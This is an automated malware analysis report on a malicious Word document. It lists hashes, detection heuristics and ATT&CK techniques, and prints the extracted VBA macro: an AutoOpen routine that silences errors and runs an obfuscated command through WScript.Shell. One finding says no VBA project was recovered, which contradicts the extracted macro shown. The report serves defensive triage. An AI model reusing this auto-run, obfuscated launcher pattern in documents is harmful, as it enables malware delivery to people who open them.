Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4c1ef3b7cc86260c…

MALICIOUS

Office (OLE)

84.8 KB Created: 2018-08-24 23:31:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 41ae093bb58f1e6dac7d6dfa5b6dbb61 SHA-1: bc6381e8cbeef753949b0679b022f48d902986c1 SHA-256: 4c1ef3b7cc86260c031b6c515e548db106afb70a10665f86e582a33cf4e09cb4
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro that triggers on opening. The macro utilizes `CreateObject("WScript.Shell")` and the `Run` method, indicating an attempt to execute a secondary payload. The obfuscated string concatenation within the `Run` method prevents full reconstruction of the executed command, but the use of WScript.Shell is a clear indicator of malicious intent.

Heuristics 8

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       Error 62513 * zIacKW * 89634 * zpsut
bwdnukzCO = CreateObject("WScript.Shell") _
. _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       Error 62513 * zIacKW * 89634 * zpsut
bwdnukzCO = CreateObject("WScript.Shell") _
. _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "umJJFLVjtf"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 86,784 bytes but its declared streams total only 36,453 bytes — 50,331 bytes (58%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 729 bytes
SHA-256: 566344dd15bd5ce50ca1f62ec9a96daad5d873634bb7d45b9375cefc395ec326
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EaQtQvZi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "umJJFLVjtf"
Sub AutoOpen()
On Error Resume Next
   Error lYVKNO / Xnbns
   Error WSEwz * QVzcKw / 60661 * wkirVV
   Error 62513 * zIacKW * 89634 * zpsut
bwdnukzCO = CreateObject("WScript.Shell") _
. _
Run _
(ChrW(3 + 5 + 9 + 11 + 39) + FRqPWUVUfbaE + rizjmazzZPXBF + LDVErTJs + QqtwSndqsl + zIUGwiLHwk + zzaRRzYGrvE + TIESXJwZMs + Yanrjzf + uBiIiVEfczn, 342822333 - 342822333)
   Error omElG / brUPHR
End Sub

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